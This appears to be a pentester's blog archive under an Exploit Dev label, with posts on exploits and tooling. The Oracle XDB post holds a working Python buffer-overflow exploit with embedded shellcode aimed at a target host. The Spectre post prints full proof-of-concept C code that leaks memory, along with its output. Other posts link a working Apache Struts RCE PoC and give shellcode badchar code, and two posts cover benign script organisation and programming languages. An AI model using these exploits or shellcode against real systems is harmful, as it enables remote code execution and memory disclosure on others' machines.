Showing posts with label Exploit Dev. Show all posts
Showing posts with label Exploit Dev. Show all posts

Wednesday, February 26, 2020

Simple DLL To Pop A CMD Shell

Below is some sample code to pop a cmd shell upon execution of the DLL. Pretty great for testing various code injection techniques. Compile it as a DLL project in Visual Studio to generate the .dll file.

Thursday, August 23, 2018

Apache Struts 2 Vulnerability & Exploit (CVE-2018-11776)

Yesterday a new vulnerability in certain versions of Apache Struts (2.3 - 2.3.34, 2.5 - 2.5.16)was discovered that leads to RCE. It requires both vulnerable versions as well as vulnerable configurations.

The gist of the issue is that if you have a vulnerable configuration that doesn't lend a namespace to struts, struts will take the user-specified namespace instead. Fortunately, it takes the namespace and evaluates it as a OGNL expression, allowing you to fairly easily get remote code execution.

Working PoC (I personally tested it myself and it works)
https://github.com/jas502n/St2-057

Technical deep dive on finding the vulnerability:
https://lgtm.com/blog/apache_struts_CVE-2018-11776

Vuln writeup by Semmle (including conditions for vulnerable configurations)
https://semmle.com/news/apache-struts-CVE-2018-11776

Apache's security bulletin for the vuln:
https://cwiki.apache.org/confluence/display/WW/S2-057

Mitre CVE link:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776

A couple caveats I found while testing:
  • It definitely requires a lack of namespace attribute in the classes xml
  • All that is required for successful exploitation is a single proper GET request
  • Doesn't work on all struts-showcase installs (2.3.15 wasn't working for some reason), making me think it may be a bit finicky
I modified the PoC listed above into a simple python function, making everything simpler:

Below is it being run against a vulnerable VM I set up

Thursday, January 4, 2018

Spectre on Apple MacBook Pro Retina

I have a test machine running 10.13.2 on a MacBook Pro Retina 2017 running an Intel Core i7. The below PoC C code works when compiled with the following command:

gcc -march=native -std=c11 -o spectre spectre.c; ./spectre

Save the below PoC code as "spectre.c"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
  1,
  2,
  3,
  4,
  5,
  6,
  7,
  8,
  9,
  10,
  11,
  12,
  13,
  14,
  15,
  16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i;
  unsigned int junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t * addr;

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {

    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
      _mm_clflush( & array1_size);
      for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);

    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk); /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
      if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t) j;
  score[0] = results[j];
  value[1] = (uint8_t) k;
  score[1] = results[k];
}

int main(int argc,
  const char * * argv) {
  size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
  int i, score[2], len = 40;
  uint8_t value[2];

  for (i = 0; i < sizeof(array2); i++)
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  if (argc == 3) {
    sscanf(argv[1], "%p", (void * * )( & malicious_x));
    malicious_x -= (size_t) array1; /* Convert input value into a pointer */
    sscanf(argv[2], "%d", & len);
  }

  printf("Reading %d bytes:\n", len);
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
    readMemoryByte(malicious_x++, value, score);
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    printf("0x%02X=’%c’ score=%d ", value[0],
      (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
    if (score[1] > 0)
      printf("(second best: 0x%02X score=%d)", value[1], score[1]);
    printf("\n");
  }
  return (0);
}

The original code came from the spectre paper but required a tiny patch from a gist page to work on macOS (google it and you can find it)

If you run it, this is what you should expect:

$ gcc -march=native -std=c11 -o spectre spectre.c; ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffebe... Unclear: 0x54=’T’ score=931 (second best: 0x00 score=912)
Reading at malicious_x = 0xfffffffffffffebf... Unclear: 0x68=’h’ score=974 (second best: 0x00 score=952)
Reading at malicious_x = 0xfffffffffffffec0... Unclear: 0x65=’e’ score=985 (second best: 0x01 score=842)
Reading at malicious_x = 0xfffffffffffffec1... Unclear: 0x20=’ ’ score=985 (second best: 0x00 score=957)
Reading at malicious_x = 0xfffffffffffffec2... Unclear: 0x4D=’M’ score=994 (second best: 0x00 score=982)
Reading at malicious_x = 0xfffffffffffffec3... Unclear: 0x61=’a’ score=992 (second best: 0x00 score=972)
Reading at malicious_x = 0xfffffffffffffec4... Unclear: 0x67=’g’ score=997 (second best: 0x00 score=977)
Reading at malicious_x = 0xfffffffffffffec5... Unclear: 0x69=’i’ score=994 (second best: 0x00 score=965)
Reading at malicious_x = 0xfffffffffffffec6... Unclear: 0x63=’c’ score=989 (second best: 0x00 score=959)
Reading at malicious_x = 0xfffffffffffffec7... Unclear: 0x20=’ ’ score=978 (second best: 0x00 score=961)
Reading at malicious_x = 0xfffffffffffffec8... Unclear: 0x57=’W’ score=992 (second best: 0x00 score=973)
Reading at malicious_x = 0xfffffffffffffec9... Unclear: 0x6F=’o’ score=992 (second best: 0x00 score=974)
Reading at malicious_x = 0xfffffffffffffeca... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=986)
Reading at malicious_x = 0xfffffffffffffecb... Unclear: 0x64=’d’ score=988 (second best: 0x00 score=970)
Reading at malicious_x = 0xfffffffffffffecc... Unclear: 0x73=’s’ score=995 (second best: 0x00 score=967)
Reading at malicious_x = 0xfffffffffffffecd... Unclear: 0x20=’ ’ score=990 (second best: 0x00 score=978)
Reading at malicious_x = 0xfffffffffffffece... Unclear: 0x61=’a’ score=985 (second best: 0x00 score=961)
Reading at malicious_x = 0xfffffffffffffecf... Unclear: 0x72=’r’ score=998 (second best: 0x00 score=959)
Reading at malicious_x = 0xfffffffffffffed0... Unclear: 0x65=’e’ score=987 (second best: 0x00 score=953)
Reading at malicious_x = 0xfffffffffffffed1... Unclear: 0x20=’ ’ score=986 (second best: 0x00 score=959)
Reading at malicious_x = 0xfffffffffffffed2... Unclear: 0x53=’S’ score=952 (second best: 0x00 score=925)
Reading at malicious_x = 0xfffffffffffffed3... Unclear: 0x71=’q’ score=991 (second best: 0x00 score=981)
Reading at malicious_x = 0xfffffffffffffed4... Unclear: 0x75=’u’ score=964 (second best: 0x00 score=948)
Reading at malicious_x = 0xfffffffffffffed5... Unclear: 0x65=’e’ score=987 (second best: 0x00 score=971)
Reading at malicious_x = 0xfffffffffffffed6... Unclear: 0x61=’a’ score=981 (second best: 0x00 score=936)
Reading at malicious_x = 0xfffffffffffffed7... Unclear: 0x6D=’m’ score=997 (second best: 0x00 score=987)
Reading at malicious_x = 0xfffffffffffffed8... Unclear: 0x69=’i’ score=997 (second best: 0x01 score=899)
Reading at malicious_x = 0xfffffffffffffed9... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=971)
Reading at malicious_x = 0xfffffffffffffeda... Unclear: 0x68=’h’ score=997 (second best: 0x00 score=977)
Reading at malicious_x = 0xfffffffffffffedb... Unclear: 0x20=’ ’ score=992 (second best: 0x00 score=979)
Reading at malicious_x = 0xfffffffffffffedc... Unclear: 0x4F=’O’ score=980 (second best: 0x00 score=914)
Reading at malicious_x = 0xfffffffffffffedd... Unclear: 0x73=’s’ score=994 (second best: 0x00 score=941)
Reading at malicious_x = 0xfffffffffffffede... Unclear: 0x73=’s’ score=931 (second best: 0x00 score=901)
Reading at malicious_x = 0xfffffffffffffedf... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=980)
Reading at malicious_x = 0xfffffffffffffee0... Unclear: 0x66=’f’ score=878 (second best: 0x00 score=847)
Reading at malicious_x = 0xfffffffffffffee1... Unclear: 0x72=’r’ score=997 (second best: 0x00 score=949)
Reading at malicious_x = 0xfffffffffffffee2... Unclear: 0x61=’a’ score=988 (second best: 0x00 score=962)
Reading at malicious_x = 0xfffffffffffffee3... Unclear: 0x67=’g’ score=997 (second best: 0x00 score=951)
Reading at malicious_x = 0xfffffffffffffee4... Unclear: 0x65=’e’ score=996 (second best: 0x00 score=985)
Reading at malicious_x = 0xfffffffffffffee5... Unclear: 0x2E=’.’ score=989 (second best: 0x00 score=973)


Thursday, June 29, 2017

An Efficient Setup For Scripts/Git

I'm obsessed by organization. I'm pretty sure I was OCD in another life. It carries over to this life in small ways.

As a pentester, I have to deal with many different custom scripts I write, my coworkers write, that I get off Github. Remembering where scripts/tools are when you may only ever touch something very rarely can become very annoying to manage. I've come up with a system that works very well for me. Perhaps it will work for you as well.

~/projects/

  • My overall projects folder that contains both git repos as well as temporary project ideas that may turn into something later. Contains many different directories that are project or task focused. 
  • For example, ~/projects/python-code/ is where I store my one-off Python code snippets to experiment and remind myself of concepts.
  • This is also where I store project directories that don't have corresponding git repos. Zips, tars, etc from directly downloaded servers.

~/projects/git/

  • If it has a repo, this is where it's cloned. Whether it's personal git repo or other's repo, any and all git repos go here. This makes it easier to remember what I got from where, and run a quick git pull.
  • This is also where I initialize any repo I plan on adding to my github account

~/scripts/

  • These are almost all one-off scripts used for various tasks, or to glue some disparate tools together.
  • For example, it contains scripts that parse output from one tool and pass it to another. Nothing groundbreaking here, just saves time typing.
  • Most importantly, this directory is added to my path so every script/symlink can easily be accessed at the command line.
  • This is where I symlink all my git tools so I don't have to supply full paths to reach them

~/tmp/

  • Yes, it's a temp folder off my home directory, I know how weird that sounds.
  • It's specifically for files I need very temporarily but I don't want to lose them if my machine crashes. It's mostly used for debugging/troublshooting scripts or testing shell functionality.
  • I go through it about once a month and remove anything I can't remember.
This setup has served me very well. I'd say the biggest paradigm shift for myself was to get in the habit of symlinking certain git tools and project scripts in the ~/scripts directory which is in my path; the integration of repo -> my machine is seamless.

Caveat:
     If someone writes a shitty script that breaks if you call it from another directory then I just write a quick one-line script to call it instead of a simple symlink. Still, fairly seamless.

Bonus Tip:
     I also can't stress enough the benefits of backing up everything to a drive and then wiping out your box and starting from scratch. Yes it's annoying to reinstall so many applications, but things run smoother with fewer errors because many superfluous packages/configs are gone. You won't lose any files since you can just browse them from your backup drive.

Tuesday, April 5, 2016

Oracle XDB HTTP PASS Buffer Overflow in Python

I had to convert the msf module https://www.exploit-db.com/exploits/16809/ to python for a project so here it is:


#!/usr/bin/env python
#converted from https://www.exploit-db.com/exploits/16809/
#@atucom
import socket
import base64
rhost = '192.168.1.10'
rport = 8080
target = (rhost,rport)
#ret = "60616d46"
ret = "\x46\x6d\x61\x60" #Universal ret

#use msfvenom to change to your own payload
buf = "\xb8\xad\x82\x42\xbe\xdb\xcb\xd9\x74\x24\xf4\x5d\x29\xc9" +\
      "\xb1\x47\x83\xc5\x04\x31\x45\x0f\x03\x45\xa2\x60\xb7\x42" +\
      "\x54\xe6\x38\xbb\xa4\x87\xb1\x5e\x95\x87\xa6\x2b\x85\x37" +\
      "\xac\x7e\x29\xb3\xe0\x6a\xba\xb1\x2c\x9c\x0b\x7f\x0b\x93" +\
      "\x8c\x2c\x6f\xb2\x0e\x2f\xbc\x14\x2f\xe0\xb1\x55\x68\x1d" +\
      "\x3b\x07\x21\x69\xee\xb8\x46\x27\x33\x32\x14\xa9\x33\xa7" +\
      "\xec\xc8\x12\x76\x67\x93\xb4\x78\xa4\xaf\xfc\x62\xa9\x8a" +\
      "\xb7\x19\x19\x60\x46\xc8\x50\x89\xe5\x35\x5d\x78\xf7\x72" +\
      "\x59\x63\x82\x8a\x9a\x1e\x95\x48\xe1\xc4\x10\x4b\x41\x8e" +\
      "\x83\xb7\x70\x43\x55\x33\x7e\x28\x11\x1b\x62\xaf\xf6\x17" +\
      "\x9e\x24\xf9\xf7\x17\x7e\xde\xd3\x7c\x24\x7f\x45\xd8\x8b" +\
      "\x80\x95\x83\x74\x25\xdd\x29\x60\x54\xbc\x25\x45\x55\x3f" +\
      "\xb5\xc1\xee\x4c\x87\x4e\x45\xdb\xab\x07\x43\x1c\xcc\x3d" +\
      "\x33\xb2\x33\xbe\x44\x9a\xf7\xea\x14\xb4\xde\x92\xfe\x44" +\
      "\xdf\x46\x50\x15\x4f\x39\x11\xc5\x2f\xe9\xf9\x0f\xa0\xd6" +\
      "\x1a\x30\x6b\x7f\xb0\xca\xfb\x40\xed\xfd\xad\x28\xec\xfd" +\
      "\x40\x68\x79\x1b\x08\x7a\x2c\xb3\xa4\xe3\x75\x4f\x55\xeb" +\
      "\xa3\x35\x55\x67\x40\xc9\x1b\x80\x2d\xd9\xcb\x60\x78\x83" +\
      "\x5d\x7e\x56\xae\x61\xea\x5d\x79\x36\x82\x5f\x5c\x70\x0d" +\
      "\x9f\x8b\x0b\x84\x35\x74\x63\xe9\xd9\x74\x73\xbf\xb3\x74" +\
      "\x1b\x67\xe0\x26\x3e\x68\x3d\x5b\x93\xfd\xbe\x0a\x40\x55" +\
      "\xd7\xb0\xbf\x91\x78\x4a\xea\x23\x44\x9d\xd2\x51\xa4\x1d"

sploit1 = "A" * 4 + ":" + "A" * 442 + "\xeb\x64" + "\x90\x90" + ret + "\x90" *266 + "\xeb\x10" + "\x90" * 109 + buf
req  = "Authorization: Basic "+ base64.b64encode(sploit1) +"\r\n\r\n"
res  = "GET / HTTP/1.1\r\n" + "Host: " +rhost+":"+str(rport)+"\r\n" + req
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
s.send(res)

Thursday, March 24, 2016

Hackers and Programming Languages


  The following is a list of very common programming languages and why a Pentester/Hacker should be at the very least familiar with them:


  •  Bash - Using linux, I'd wager the most important language to be proficient in. 
  •  Ruby - Many security tools are written in Ruby, extending metasploit, exploit dev, understanding/exploiting Rails vulns. Overall a very enjoyable language to program in.
  •   Python - Many security tools are written in python, extending veil/impacket, exploit dev, lots of RE/Forensics tools are written in python, huge and active community to build upon.
  •   C++ - Custom windows malware writing, gives you more direct access to the windows API
  •   PHP - crap ton of webapps/professional appliances/general web stuff is written in PHP
  •   Javascript - XSS/CSRF, NodeJS, super crazy fancy looking tools
  •   Java - Almost every single organization runs java somewhere. Java web apps, apache tomcat, Weblogic, any java app server, java RPC protocols. LOTS of vulnerabilities introduced because of java apps.
  •   C - Custom malware writing (in general), several security tools written in C, driver/kernel hacking
  •   Perl - Make yourself seem way older than you actually are. haha, jk. no really you don't need to learn perl.


  Other programming like things:

  •   Object Oriented Programming - Important for source code analysis and writing more powerful tools
  •   Programming Patterns - Certain programming patterns are not intuitive at all. Important to know when you are debugging other's code or doing source code analysis.
  •   HTML - Any place you'd have HTML injection or trying to get custom XSS/ or other browser centric vulns to pop
  •   XML - data storage, API data transfer format, SOAP, XXE injection
  •   JSON - Other than XML, most often used API format
  •   SQL - SQLi, intercepting SQL traffic


This list is by no means exhaustive or comprehensive, it's just typically the languages you'd most often encounter on pentests, exploit dev, or reverse engineering. If you can think of other uses for the languages or another language I missed, let me know.

Monday, October 5, 2015

[Exploit Writing] Badchars

When writing exploits, it's important to figure out which hex values wont get passed through to memory addresses and which will screw up your shellcode. Below is a simple listing of \x00 to \xff and some stupid ruby code to accomplish it:

\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff


Crappy Ruby Code:

(0..255).each do |val|
printf "\\x" + val.to_s(16).rjust(2,'0')
end

Found a shorter way:
(0x00..0xff).each do |num|
  printf "\\x%02x" % num
end